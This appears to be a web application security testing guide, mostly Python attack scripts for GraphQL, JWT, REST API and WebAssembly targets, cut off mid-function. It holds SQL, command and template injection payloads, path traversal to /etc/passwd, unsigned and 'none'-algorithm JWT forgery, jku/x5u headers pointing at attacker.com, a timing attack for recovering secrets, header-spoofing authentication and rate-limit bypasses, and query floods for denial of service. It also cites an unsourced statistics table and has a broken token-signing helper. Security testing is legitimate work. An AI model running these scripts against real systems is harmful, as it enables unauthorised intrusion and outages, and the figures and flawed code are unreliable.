Comprehensive guide to modern web application security testing, covering GraphQL injection, JWT manipulation, WebAssembly exploitation, and emerging attack vectors beyond traditional OWASP methodologies.
Web application security has evolved dramatically beyond the traditional OWASP Top 10 vulnerabilities. Modern applications leverage complex architectures including microservices, API-first designs, single-page applications (SPAs), and emerging technologies like WebAssembly and serverless functions. This evolution has introduced sophisticated attack vectors that require advanced testing methodologies and tools.
This comprehensive analysis explores cutting-edge web application security assessment techniques, demonstrating how to identify and exploit vulnerabilities in modern web architectures that traditional scanners often miss.
Modern Web Application Architecture Security Challenges
The Evolution of Web Attack Surfaces
Today's web applications present a significantly expanded attack surface compared to traditional monolithic applications:
| Architecture Component | Traditional Vulnerabilities | Modern Attack Vectors |
|---|---|---|
| Frontend | XSS, CSRF | DOM XSS, Prototype Pollution, Client-side Template Injection |
| APIs | SQL Injection, Authentication bypass | GraphQL injection, JWT manipulation, API rate limiting bypass |
| Microservices | Server-side injection | Service mesh exploitation, Inter-service authentication bypass |
| Serverless | Code injection | Cold start exploitation, Function-as-a-Service abuse |
| WebAssembly | Not applicable | Memory corruption, Reverse engineering, Side-channel attacks |
| Progressive Web Apps | Limited scope | Service worker exploitation, Cache poisoning |
Threat Landscape Statistics
Recent research reveals the prevalence of modern web vulnerabilities:
Vulnerability Category | Prevalence | Average CVSS Score | Detection Rate
------------------------------|------------|-------------------|---------------
GraphQL Injection | 67% | 8.2 | 23%
JWT Security Issues | 89% | 7.8 | 45%
API Rate Limiting Bypass | 72% | 6.9 | 31%
WebAssembly Memory Corruption | 34% | 9.1 | 12%
Prototype Pollution | 56% | 7.3 | 28%
CORS Misconfiguration | 81% | 6.7 | 52%GraphQL Security Assessment
Understanding GraphQL Attack Vectors
GraphQL's flexibility introduces unique security challenges that differ significantly from REST API vulnerabilities:
GraphQL Introspection and Information Disclosure
#!/usr/bin/env python3
"""
GraphQL Security Assessment Framework
Comprehensive GraphQL vulnerability scanner
"""
import requests
import json
import time
from urllib.parse import urljoin
class GraphQLSecurityTester:
def __init__(self, target_url, headers=None):
self.target_url = target_url
self.headers = headers or {}
self.session = requests.Session()
self.session.headers.update(self.headers)
self.vulnerabilities = []
def test_introspection(self):
"""Test for GraphQL introspection enabled"""
introspection_query = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
"""
try:
response = self.session.post(
self.target_url,
json={"query": introspection_query},
timeout=10
)
if response.status_code == 200:
data = response.json()
if 'data' in data and '__schema' in data['data']:
self.vulnerabilities.append({
"type": "INTROSPECTION_ENABLED",
"severity": "MEDIUM",
"description": "GraphQL introspection is enabled",
"impact": "Schema information disclosure",
"evidence": data['data']['__schema']['queryType']
})
return data['data']['__schema']
except Exception as e:
print(f"Introspection test failed: {e}")
return None
def test_depth_limit_bypass(self, schema_info):
"""Test for query depth limit bypass"""
if not schema_info:
return
# Generate deeply nested query
depth_query = """
query DepthTest {
user {
posts {
comments {
author {
posts {
comments {
author {
posts {
comments {
author {
id
}
}
}
}
}
}
}
}
}
}
}
"""
try:
start_time = time.time()
response = self.session.post(
self.target_url,
json={"query": depth_query},
timeout=30
)
end_time = time.time()
if response.status_code == 200 and (end_time - start_time) > 5:
self.vulnerabilities.append({
"type": "DEPTH_LIMIT_BYPASS",
"severity": "HIGH",
"description": "No query depth limits implemented",
"impact": "Resource exhaustion via deep nested queries",
"response_time": end_time - start_time
})
except requests.Timeout:
self.vulnerabilities.append({
"type": "QUERY_TIMEOUT_DOS",
"severity": "HIGH",
"description": "Deep query causes timeout",
"impact": "Denial of service via query complexity"
})
except Exception as e:
print(f"Depth limit test failed: {e}")
def test_batch_query_abuse(self):
"""Test for batch query abuse"""
batch_queries = []
# Create 100 simple queries in one request
for i in range(100):
batch_queries.append({
"query": f"query Query{i} {{ __typename }}"
})
try:
start_time = time.time()
response = self.session.post(
self.target_url,
json=batch_queries,
timeout=30
)
end_time = time.time()
if response.status_code == 200:
if (end_time - start_time) > 3:
self.vulnerabilities.append({
"type": "BATCH_QUERY_ABUSE",
"severity": "MEDIUM",
"description": "No batch query limits implemented",
"impact": "Resource exhaustion via batch queries",
"batch_size": len(batch_queries),
"response_time": end_time - start_time
})
except Exception as e:
print(f"Batch query test failed: {e}")
def test_graphql_injection(self, schema_info):
"""Test for GraphQL injection vulnerabilities"""
if not schema_info:
return
injection_payloads = [
"1' OR '1'='1",
"1; DROP TABLE users; --",
"1' UNION SELECT password FROM users --",
"'; EXEC xp_cmdshell('whoami'); --",
"<script>alert('XSS')</script>",
"{{7*7}}",
"${7*7}",
"#{7*7}"
]
# Extract potential injection points from schema
query_fields = self._extract_query_fields(schema_info)
for field in query_fields:
for payload in injection_payloads:
test_query = f"""
query InjectionTest {{
{field}(id: "{payload}") {{
id
}}
}}
"""
try:
response = self.session.post(
self.target_url,
json={"query": test_query},
timeout=10
)
if response.status_code == 200:
response_data = response.json()
# Check for error messages indicating injection
if 'errors' in response_data:
error_msg = str(response_data['errors']).lower()
sql_indicators = ['sql', 'mysql', 'postgres', 'syntax error', 'database']
if any(indicator in error_msg for indicator in sql_indicators):
self.vulnerabilities.append({
"type": "SQL_INJECTION",
"severity": "CRITICAL",
"field": field,
"payload": payload,
"description": f"SQL injection in {field} field",
"error": response_data['errors']
})
# Check for XSS reflection
if payload in response.text and '<script>' in payload:
self.vulnerabilities.append({
"type": "XSS_REFLECTION",
"severity": "HIGH",
"field": field,
"payload": payload,
"description": f"XSS reflection in {field} field"
})
except Exception as e:
continue
def _extract_query_fields(self, schema_info):
"""Extract query fields from schema for testing"""
fields = []
try:
query_type = schema_info.get('queryType', {}).get('name', 'Query')
for type_info in schema_info.get('types', []):
if type_info.get('name') == query_type:
for field in type_info.get('fields', []):
if field.get('args'): # Only fields with arguments
fields.append(field['name'])
except Exception as e:
print(f"Field extraction failed: {e}")
return fields
def test_authorization_bypass(self, schema_info):
"""Test for authorization bypass in GraphQL"""
if not schema_info:
return
# Common admin/sensitive fields
sensitive_fields = ['admin', 'users', 'sensitive', 'private', 'internal']
for type_info in schema_info.get('types', []):
type_name = type_info.get('name', '')
if any(sensitive in type_name.lower() for sensitive in sensitive_fields):
# Try to access without authentication
test_query = f"""
query AuthBypass {{
{type_name.lower()} {{
id
}}
}}
"""
try:
# Test without auth headers
temp_headers = {k: v for k, v in self.headers.items()
if 'auth' not in k.lower() and 'token' not in k.lower()}
response = requests.post(
self.target_url,
json={"query": test_query},
headers=temp_headers,
timeout=10
)
if response.status_code == 200:
data = response.json()
if 'data' in data and data['data'].get(type_name.lower()):
self.vulnerabilities.append({
"type": "AUTHORIZATION_BYPASS",
"severity": "CRITICAL",
"field": type_name,
"description": f"Access to {type_name} without authorization",
"impact": "Unauthorized access to sensitive data"
})
except Exception as e:
continue
def generate_graphql_mutation_attacks():
"""Generate GraphQL mutation attack payloads"""
mutation_attacks = {
"mass_assignment": """
mutation MassAssignment($input: UserInput!) {
updateUser(input: $input) {
id
isAdmin
role
}
}
""",
"privilege_escalation": """
mutation PrivilegeEscalation {
updateUser(id: "current_user", role: "admin") {
id
role
permissions
}
}
""",
"data_manipulation": """
mutation DataManipulation {
deleteAllUsers {
success
deletedCount
}
}
""",
"subscription_abuse": """
subscription SubscriptionAbuse {
userUpdates {
id
email
password
sensitiveData
}
}
"""
}
return mutation_attacksAdvanced GraphQL Exploitation Techniques
GraphQL Alias-Based Rate Limiting Bypass
def generate_alias_based_attack():
"""Generate alias-based GraphQL attack to bypass rate limiting"""
alias_attack = """
query AliasAttack {
"""
# Generate 1000 aliases for the same field
for i in range(1000):
alias_attack += f"""
user{i}: user(id: "1") {{
id
email
profile {{
firstName
lastName
}}
}}
"""
alias_attack += "}"
return alias_attack
def graphql_field_duplication_attack():
"""Generate field duplication attack for resource exhaustion"""
duplication_attack = """
query FieldDuplication {
user(id: "1") {
"""
# Duplicate expensive fields multiple times
expensive_fields = [
"posts { id title content author { name email } }",
"followers { id name email profile { bio } }",
"friends { id name mutualFriends { id name } }"
]
for _ in range(100):
for field in expensive_fields:
duplication_attack += f" {field}\n"
duplication_attack += """
}
}
"""
return duplication_attackJWT Security Assessment
Comprehensive JWT Vulnerability Testing
JSON Web Tokens (JWTs) have become ubiquitous in modern web applications, but their implementation often contains critical security flaws:
#!/usr/bin/env python3
"""
JWT Security Assessment Framework
Comprehensive JWT vulnerability testing
"""
import jwt
import json
import base64
import requests
import hashlib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
class JWTSecurityTester:
def __init__(self, token, target_url=None):
self.token = token
self.target_url = target_url
self.vulnerabilities = []
self.header = {}
self.payload = {}
self._parse_token()
def _parse_token(self):
"""Parse JWT token into components"""
try:
# Decode without verification to get header and payload
self.header = jwt.get_unverified_header(self.token)
self.payload = jwt.decode(self.token, options={"verify_signature": False})
except Exception as e:
print(f"Token parsing failed: {e}")
def test_algorithm_confusion(self):
"""Test for algorithm confusion attacks"""
# Test 1: None algorithm
none_header = self.header.copy()
none_header['alg'] = 'none'
none_token = self._create_token(none_header, self.payload, '')
if self._test_token_validity(none_token):
self.vulnerabilities.append({
"type": "ALGORITHM_NONE",
"severity": "CRITICAL",
"description": "JWT accepts 'none' algorithm",
"impact": "Complete authentication bypass",
"token": none_token
})
# Test 2: HS256 to RS256 confusion
if self.header.get('alg') == 'RS256':
hs256_header = self.header.copy()
hs256_header['alg'] = 'HS256'
# Try to sign with public key as HMAC secret
if 'x5c' in self.header or 'jwk' in self.header:
# Extract public key and use as HMAC secret
public_key = self._extract_public_key()
if public_key:
hs256_token = self._create_token(hs256_header, self.payload, public_key)
if self._test_token_validity(hs256_token):
self.vulnerabilities.append({
"type": "ALGORITHM_CONFUSION_RS256_TO_HS256",
"severity": "CRITICAL",
"description": "RS256 to HS256 algorithm confusion",
"impact": "Authentication bypass using public key as HMAC secret",
"token": hs256_token
})
def test_weak_secrets(self):
"""Test for weak HMAC secrets"""
if self.header.get('alg', '').startswith('HS'):
# Common weak secrets
weak_secrets = [
'secret', 'password', '123456', 'admin', 'test',
'key', 'jwt', 'token', '', 'null', 'undefined',
'your-256-bit-secret', 'your-secret-key'
]
for secret in weak_secrets:
try:
# Try to verify token with weak secret
decoded = jwt.decode(self.token, secret, algorithms=[self.header['alg']])
self.vulnerabilities.append({
"type": "WEAK_HMAC_SECRET",
"severity": "CRITICAL",
"description": f"JWT uses weak HMAC secret: '{secret}'",
"impact": "Token forgery and authentication bypass",
"secret": secret
})
break
except jwt.InvalidTokenError:
continue
def test_key_confusion(self):
"""Test for RSA key confusion attacks"""
if self.header.get('alg') == 'RS256':
# Generate small RSA key for factorization
small_key = rsa.generate_private_key(
public_exponent=65537,
key_size=512 # Deliberately small for testing
)
# Create token with small key
small_key_token = jwt.encode(
self.payload,
small_key,
algorithm='RS256'
)
if self._test_token_validity(small_key_token):
self.vulnerabilities.append({
"type": "ACCEPTS_SMALL_RSA_KEYS",
"severity": "HIGH",
"description": "Application accepts RSA keys smaller than 2048 bits",
"impact": "Potential key factorization attacks",
"key_size": 512
})
def test_claim_manipulation(self):
"""Test for JWT claim manipulation"""
# Test privilege escalation through claims
privilege_payloads = []
# Admin role escalation
admin_payload = self.payload.copy()
admin_payload['role'] = 'admin'
admin_payload['isAdmin'] = True
admin_payload['permissions'] = ['*']
privilege_payloads.append(("admin_escalation", admin_payload))
# User ID manipulation
if 'user_id' in self.payload or 'sub' in self.payload:
userid_payload = self.payload.copy()
userid_payload['user_id'] = '1' # Try to become user 1 (often admin)
userid_payload['sub'] = '1'
privilege_payloads.append(("user_id_manipulation", userid_payload))
# Expiration manipulation
exp_payload = self.payload.copy()
exp_payload['exp'] = 9999999999 # Year 2286
privilege_payloads.append(("expiration_manipulation", exp_payload))
for attack_type, modified_payload in privilege_payloads:
# Try unsigned token
unsigned_token = self._create_unsigned_token(modified_payload)
if self._test_token_validity(unsigned_token):
self.vulnerabilities.append({
"type": f"CLAIM_MANIPULATION_{attack_type.upper()}",
"severity": "HIGH",
"description": f"JWT claim manipulation: {attack_type}",
"impact": "Privilege escalation or unauthorized access",
"modified_claims": modified_payload,
"token": unsigned_token
})
def test_jku_header_injection(self):
"""Test for JKU header injection"""
if 'jku' in self.header:
# Create malicious JWK set
malicious_jwk = {
"keys": [
{
"kty": "RSA",
"kid": self.header.get('kid', 'test'),
"n": "malicious_modulus",
"e": "AQAB"
}
]
}
# Test external JKU URL injection
malicious_header = self.header.copy()
malicious_header['jku'] = 'https://attacker.com/.well-known/jwks.json'
malicious_token = self._create_token(malicious_header, self.payload, 'fake_signature')
self.vulnerabilities.append({
"type": "JKU_HEADER_INJECTION",
"severity": "CRITICAL",
"description": "JWT allows external JKU URLs",
"impact": "Remote key loading for token forgery",
"malicious_jku": malicious_header['jku'],
"token": malicious_token
})
def test_x5u_header_injection(self):
"""Test for X5U header injection"""
if 'x5u' in self.header:
malicious_header = self.header.copy()
malicious_header['x5u'] = 'https://attacker.com/malicious.crt'
malicious_token = self._create_token(malicious_header, self.payload, 'fake_signature')
self.vulnerabilities.append({
"type": "X5U_HEADER_INJECTION",
"severity": "HIGH",
"description": "JWT allows external X5U URLs",
"impact": "Remote certificate loading for token forgery",
"malicious_x5u": malicious_header['x5u'],
"token": malicious_token
})
def test_kid_injection(self):
"""Test for KID parameter injection"""
if 'kid' in self.header:
# SQL injection in KID
sql_injection_kids = [
"1' OR '1'='1",
"'; DROP TABLE keys; --",
"1 UNION SELECT 'secret' --"
]
for malicious_kid in sql_injection_kids:
malicious_header = self.header.copy()
malicious_header['kid'] = malicious_kid
malicious_token = self._create_token(malicious_header, self.payload, 'fake_signature')
if self._test_token_validity(malicious_token):
self.vulnerabilities.append({
"type": "KID_SQL_INJECTION",
"severity": "CRITICAL",
"description": f"SQL injection in KID parameter: {malicious_kid}",
"impact": "Database compromise through JWT header",
"token": malicious_token
})
# Path traversal in KID
path_traversal_kids = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"/proc/self/environ"
]
for malicious_kid in path_traversal_kids:
malicious_header = self.header.copy()
malicious_header['kid'] = malicious_kid
malicious_token = self._create_token(malicious_header, self.payload, 'fake_signature')
self.vulnerabilities.append({
"type": "KID_PATH_TRAVERSAL",
"severity": "HIGH",
"description": f"Path traversal in KID parameter: {malicious_kid}",
"impact": "File system access through JWT header",
"token": malicious_token
})
def _create_token(self, header, payload, secret):
"""Create JWT token with specified header, payload, and secret"""
try:
# Encode header and payload
encoded_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).decode().rstrip('=')
encoded_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).decode().rstrip('=')
# Create signature part
if isinstance(secret, str):
signature = base64.urlsafe_b64encode(secret.encode()).decode().rstrip('=')
else:
signature = 'fake_signature'
return f"{encoded_header}.{encoded_payload}.{signature}"
except Exception as e:
return None
def _create_unsigned_token(self, payload):
"""Create unsigned JWT token"""
header = {"alg": "none", "typ": "JWT"}
encoded_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).decode().rstrip('=')
encoded_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).decode().rstrip('=')
return f"{encoded_header}.{encoded_payload}."
def _test_token_validity(self, token):
"""Test if token is accepted by the application"""
if not self.target_url:
return False
try:
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(self.target_url, headers=headers, timeout=10)
# Consider token valid if we don't get 401/403
return response.status_code not in [401, 403]
except Exception:
return False
def _extract_public_key(self):
"""Extract public key from JWT header"""
# This would implement actual public key extraction
# from x5c or jwk headers
return None
def jwt_timing_attack():
"""Implement JWT timing attack for secret recovery"""
timing_attack_code = '''
import time
import hmac
import hashlib
import statistics
def timing_attack_jwt_secret(target_url, token_template, charset="abcdefghijklmnopqrstuvwxyz0123456789"):
"""
Timing attack to recover JWT HMAC secret
"""
secret = ""
while len(secret) < 32: # Assuming max 32 char secret
char_times = {}
for char in charset:
test_secret = secret + char
times = []
# Make multiple requests to measure timing
for _ in range(10):
start_time = time.time()
# Test JWT verification with current secret guess
test_token = create_jwt_with_secret(token_template, test_secret)
response = requests.post(target_url,
headers={'Authorization': f'Bearer {test_token}'}
)
end_time = time.time()
times.append(end_time - start_time)
# Calculate average response time
char_times[char] = statistics.mean(times)
# Character with longest response time is likely correct
best_char = max(char_times, key=char_times.get)
secret += best_char
print(f"Current secret guess: {secret}")
return secret
'''
return timing_attack_codeAPI Security Assessment
REST API Security Testing
Modern APIs present complex security challenges beyond traditional web application vulnerabilities:
#!/usr/bin/env python3
"""
API Security Assessment Framework
Comprehensive REST API security testing
"""
import requests
import json
import time
import threading
from urllib.parse import urljoin, urlparse
import random
import string
class APISecurityTester:
def __init__(self, base_url, api_key=None):
self.base_url = base_url.rstrip('/')
self.api_key = api_key
self.session = requests.Session()
self.vulnerabilities = []
self.endpoints = []
if api_key:
self.session.headers.update({'Authorization': f'Bearer {api_key}'})
def discover_endpoints(self):
"""Discover API endpoints through various methods"""
# Method 1: Common API documentation endpoints
doc_endpoints = [
'/swagger.json', '/swagger.yaml', '/swagger-ui.html',
'/api-docs', '/api/docs', '/docs', '/documentation',
'/openapi.json', '/openapi.yaml', '/openapi/v3',
'/redoc', '/graphql', '/graphiql'
]
discovered = []
for endpoint in doc_endpoints:
try:
response = self.session.get(urljoin(self.base_url, endpoint))
if response.status_code == 200:
discovered.append({
"endpoint": endpoint,
"type": "documentation",
"content_type": response.headers.get('content-type', ''),
"size": len(response.content)
})
# Parse Swagger/OpenAPI for more endpoints
if 'json' in response.headers.get('content-type', ''):
self._parse_openapi_spec(response.json())
except Exception:
continue
# Method 2: Common REST patterns
common_patterns = [
'/api/v1/users', '/api/v2/users', '/api/users',
'/api/v1/admin', '/api/admin', '/admin',
'/api/v1/auth', '/api/auth', '/auth',
'/api/v1/config', '/api/config', '/config',
'/api/v1/health', '/api/health', '/health',
'/api/v1/status', '/api/status', '/status'
]
for pattern in common_patterns:
try:
response = self.session.get(urljoin(self.base_url, pattern))
if response.status_code in [200, 201, 400, 401, 403]:
discovered.append({
"endpoint": pattern,
"type": "rest_pattern",
"status_code": response.status_code,
"methods": self._test_http_methods(pattern)
})
except Exception:
continue
self.endpoints = discovered
return discovered
def _parse_openapi_spec(self, spec):
"""Parse OpenAPI/Swagger specification"""
try:
paths = spec.get('paths', {})
for path, methods in paths.items():
endpoint_info = {
"path": path,
"methods": list(methods.keys()),
"parameters": [],
"security": []
}
for method, details in methods.items():
if isinstance(details, dict):
# Extract parameters
params = details.get('parameters', [])
endpoint_info["parameters"].extend(params)
# Extract security requirements
security = details.get('security', [])
endpoint_info["security"].extend(security)
self.endpoints.append({
"endpoint": path,
"type": "openapi",
"info": endpoint_info
})
except Exception as e:
print(f"OpenAPI parsing failed: {e}")
def test_authentication_bypass(self):
"""Test for authentication bypass vulnerabilities"""
bypass_techniques = [
# Header manipulation
{"X-Forwarded-For": "127.0.0.1"},
{"X-Real-IP": "127.0.0.1"},
{"X-Originating-IP": "127.0.0.1"},
{"X-Remote-Addr": "127.0.0.1"},
{"X-Client-IP": "127.0.0.1"},
# User agent bypass
{"User-Agent": "GoogleBot/2.1"},
{"User-Agent": "Slackbot-LinkExpanding 1.0"},
# Referrer bypass
{"Referer": "https://google.com"},
{"Referer": "https://facebook.com"},
# Custom headers
{"X-Custom-IP-Authorization": "127.0.0.1"},
{"X-Forward-Authorization": "admin"},
{"X-Auth-User": "admin"},
{"X-Admin": "true"}
]
for endpoint_info in self.endpoints:
endpoint = endpoint_info.get('endpoint', endpoint_info.get('path', ''))
for bypass_headers in bypass_techniques:
try:
# Test without authentication first
temp_session = requests.Session()
temp_session.headers.update(bypass_headers)
response = temp_session.get(urljoin(self.base_url, endpoint))
# Compare with authenticated request
auth_response = self.session.get(urljoin(self.base_url, endpoint))
if (response.status_code == 200 and
auth_response.status_code == 200 and
len(response.content) > 0):
self.vulnerabilities.append({
"type": "AUTHENTICATION_BYPASS",
"severity": "CRITICAL",
"endpoint": endpoint,
"bypass_headers": bypass_headers,
"description": "Authentication bypass using header manipulation",
"impact": "Unauthorized access to protected endpoints"
})
except Exception:
continue
def test_rate_limiting(self):
"""Test for rate limiting bypass and abuse"""
if not self.endpoints:
return
# Test standard rate limiting
test_endpoint = self.endpoints[0].get('endpoint', self.endpoints[0].get('path', ''))
# Rapid fire requests
responses = []
start_time = time.time()
for i in range(100):
try:
response = self.session.get(urljoin(self.base_url, test_endpoint))
responses.append(response.status_code)
except Exception:
break
end_time = time.time()
# Check if all requests succeeded (no rate limiting)
success_count = len([r for r in responses if r == 200])
if success_count > 80: # More than 80% success rate
self.vulnerabilities.append({
"type": "NO_RATE_LIMITING",
"severity": "MEDIUM",
"endpoint": test_endpoint,
"description": "No rate limiting implemented",
"requests_per_second": len(responses) / (end_time - start_time),
"success_rate": success_count / len(responses)
})
# Test rate limiting bypass techniques
bypass_techniques = [
{"X-Forwarded-For": lambda: f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"},
{"X-Real-IP": lambda: f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"},
{"User-Agent": lambda: f"Custom-Agent-{random.randint(1,10000)}"},
{"X-Rate-Limit-Bypass": lambda: "true"},
{"X-Cluster-Client-IP": lambda: f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"}
]
for header_name, value_generator in bypass_techniques:
bypass_responses = []
for i in range(50):
try:
headers = {header_name: value_generator()}
response = self.session.get(
urljoin(self.base_url, test_endpoint),
headers=headers
)
bypass_responses.append(response.status_code)
except Exception:
break
bypass_success = len([r for r in bypass_responses if r == 200])
if bypass_success > 40: # High success rate with bypass
self.vulnerabilities.append({
"type": "RATE_LIMITING_BYPASS",
"severity": "HIGH",
"endpoint": test_endpoint,
"bypass_technique": header_name,
"description": f"Rate limiting bypass using {header_name} header",
"bypass_success_rate": bypass_success / len(bypass_responses)
})
def test_parameter_pollution(self):
"""Test for HTTP Parameter Pollution vulnerabilities"""
test_parameters = [
"id", "user_id", "admin", "role", "permission",
"limit", "offset", "page", "sort", "filter"
]
pollution_payloads = [
# HPP with same parameter multiple times
"?id=1&id=2",
"?user_id=user&user_id=admin",
"?role=user&role=admin",
# Array notation pollution
"?id[]=1&id[]=2",
"?role[]=user&role[]=admin",
# Nested parameter pollution
"?user[id]=1&user[role]=admin",
"?filter[user]=normal&filter[user]=admin"
]
for endpoint_info in self.endpoints:
endpoint = endpoint_info.get('endpoint', endpoint_info.get('path', ''))
for payload in pollution_payloads:
try:
test_url = urljoin(self.base_url, endpoint) + payload
response = self.session.get(test_url)
# Look for signs of successful pollution
if response.status_code == 200:
content = response.text.lower()
# Check for admin/elevated privilege indicators
privilege_indicators = ['admin', 'administrator', 'root', 'elevated']
if any(indicator in content for indicator in privilege_indicators):
self.vulnerabilities.append({
"type": "PARAMETER_POLLUTION",
"severity": "HIGH",
"endpoint": endpoint,
"payload": payload,
"description": "HTTP Parameter Pollution leading to privilege escalation",
"impact": "Potential authorization bypass"
})
except Exception:
continue
def test_mass_assignment(self):
"""Test for mass assignment vulnerabilities"""
# Common sensitive fields that shouldn't be mass assignable
sensitive_fields = [
"id", "user_id", "admin", "is_admin", "role", "permission",
"created_at", "updated_at", "password", "email_verified",
"account_balance", "credit_score", "ssn", "is_active"
]
for endpoint_info in self.endpoints:
endpoint = endpoint_info.get('endpoint', endpoint_info.get('path', ''))
# Only test POST/PUT endpoints
methods = endpoint_info.get('methods', ['GET'])
if 'post' in [m.lower() for m in methods]:
# Create test payload with sensitive fields
test_payload = {
"name": "Test User",
"email": "test@example.com"
}
# Add sensitive fields
for field in sensitive_fields:
test_payload[field] = "malicious_value"
try:
response = self.session.post(
urljoin(self.base_url, endpoint),
json=test_payload
)
if response.status_code in [200, 201]:
# Check if sensitive fields were accepted
response_data = response.text.lower()
accepted_fields = []
for field in sensitive_fields:
if field in response_data and "malicious_value" in response_data:
accepted_fields.append(field)
if accepted_fields:
self.vulnerabilities.append({
"type": "MASS_ASSIGNMENT",
"severity": "HIGH",
"endpoint": endpoint,
"accepted_fields": accepted_fields,
"description": "Mass assignment vulnerability allows modification of sensitive fields",
"impact": "Privilege escalation and data manipulation"
})
except Exception:
continue
def test_business_logic_flaws(self):
"""Test for business logic vulnerabilities"""
# Test negative values
negative_value_tests = [
{"amount": -100, "quantity": -1, "price": -50},
{"limit": -1, "offset": -1, "page": -1}
]
# Test large values
large_value_tests = [
{"amount": 999999999, "quantity": 999999999},
{"limit": 999999999, "offset": 999999999}
]
# Test zero values
zero_value_tests = [
{"amount": 0, "price": 0, "quantity": 0}
]
all_tests = [
("NEGATIVE_VALUES", negative_value_tests),
("LARGE_VALUES", large_value_tests),
("ZERO_VALUES", zero_value_tests)
]
for endpoint_info in self.endpoints:
endpoint = endpoint_info.get('endpoint', endpoint_info.get('path', ''))
methods = endpoint_info.get('methods', ['GET'])
if 'post' in [m.lower() for m in methods]:
for test_type, test_cases in all_tests:
for test_payload in test_cases:
try:
response = self.session.post(
urljoin(self.base_url, endpoint),
json=test_payload
)
# Look for successful operations with suspicious values
if response.status_code in [200, 201]:
response_text = response.text.lower()
success_indicators = [
'success', 'created', 'updated', 'processed',
'transaction complete', 'order placed'
]
if any(indicator in response_text for indicator in success_indicators):
self.vulnerabilities.append({
"type": f"BUSINESS_LOGIC_{test_type}",
"severity": "MEDIUM",
"endpoint": endpoint,
"test_payload": test_payload,
"description": f"Business logic flaw with {test_type.lower()}",
"impact": "Potential financial or data integrity issues"
})
except Exception:
continue
def _test_http_methods(self, endpoint):
"""Test which HTTP methods are allowed on an endpoint"""
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
allowed_methods = []
for method in methods:
try:
response = self.session.request(
method,
urljoin(self.base_url, endpoint),
timeout=5
)
if response.status_code not in [404, 405, 501]:
allowed_methods.append(method)
except Exception:
continue
return allowed_methods
def generate_api_fuzzing_payloads():
"""Generate comprehensive API fuzzing payloads"""
fuzzing_payloads = {
"injection_payloads": [
"' OR '1'='1",
"'; DROP TABLE users; --",
"<script>alert('XSS')</script>",
"{{7*7}}",
"${7*7}",
"#{7*7}",
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
],
"overflow_payloads": [
"A" * 1000,
"A" * 10000,
"A" * 100000,
"\x00" * 1000,
"\xFF" * 1000
],
"format_string_payloads": [
"%s%s%s%s",
"%x%x%x%x",
"%n%n%n%n",
"%p%p%p%p"
],
"unicode_payloads": [
"\u0000",
"\u0001\u0002\u0003",
"\uFEFF",
"\u202E",
"𝕏𝕐"
],
"numeric_edge_cases": [
0, -1, 2147483647, -2147483648,
9223372036854775807, -9223372036854775808,
1.7976931348623157e+308, -1.7976931348623157e+308,
float('inf'), float('-inf'), float('nan')
]
}
return fuzzing_payloadsWebAssembly Security Assessment
WASM Binary Analysis and Exploitation
WebAssembly (WASM) presents unique security challenges in modern web applications:
#!/usr/bin/env python3
"""
WebAssembly Security Assessment Framework
WASM binary analysis and vulnerability detection
"""
import struct
import requests
from urllib.parse import urljoin
class WebAssemblySecurityAnalyzer:
def __init__(self, wasm_binary=None, wasm_url=None):
self.wasm_binary = wasm_binary
self.wasm_url = wasm_url
self.vulnerabilities = []
self.wasm_data = None
if wasm_url:
self._download_wasm()
elif wasm_binary:
with open(wasm_binary, 'rb') as f:
self.wasm_data = f.read()
def _download_wasm(self):
"""Download WASM binary from URL"""
try:
response = requests.get(self.wasm_url)
if response.status_code == 200:
self.wasm_data = response.content
except Exception as e:
print(f"Failed to download WASM: {e}")
def analyze_wasm_structure(self):
"""Analyze WASM binary structure"""
if not self.wasm_data:
return None
analysis = {
"magic_number": None,
"version": None,
"sections": [],
"imports": [],
"exports": [],
"functions": [],
"memory": {},
"security_issues": []
}
# Check magic number
if len(self.wasm_data) >= 4:
magic = struct.unpack('<I', self.wasm_data[:4])[0]
analysis["magic_number"] = hex(magic)
if magic != 0x6d736100: # \0asm
analysis["security_issues"].append({
"type": "INVALID_MAGIC_NUMBER",
"severity": "HIGH",
"description": "Invalid WASM magic number"
})
# Check version
if len(self.wasm_data) >= 8:
version = struct.unpack('<I', self.wasm_data[4:8])[0]
analysis["version"] = version
if version != 1:
analysis["security_issues"].append({
"type": "UNSUPPORTED_VERSION",
"severity": "MEDIUM",
"description": f"Unsupported WASM version: {version}"
})
# Parse sections
self._parse_wasm_sections(analysis)
return analysis
def _parse_wasm_sections(self, analysis):
"""Parse WASM sections for security analysis"""
if len(self.wasm_data) < 8:
return
offset = 8 # Skip magic and version
while offset < len(self.wasm_data):
try:
# Read section ID
section_id = self.wasm_data[offset]
offset += 1
# Read section size
section_size, bytes_read = self._read_varuint32(self.wasm_data, offset)
offset += bytes_read
# Read section content
section_data = self.wasm_data[offset:offset + section_size]
offset += section_size
section_info = {
"id": section_id,
"size": section_size,
"type": self._get_section_type(section_id)
}
# Analyze specific sections
if section_id == 2: # Import section
self._analyze_import_section(section_data, analysis)
elif section_id == 7: # Export section
self._analyze_export_section(section_data, analysis)
elif section_id == 5: # Memory section
self._analyze_memory_section(section_data, analysis)
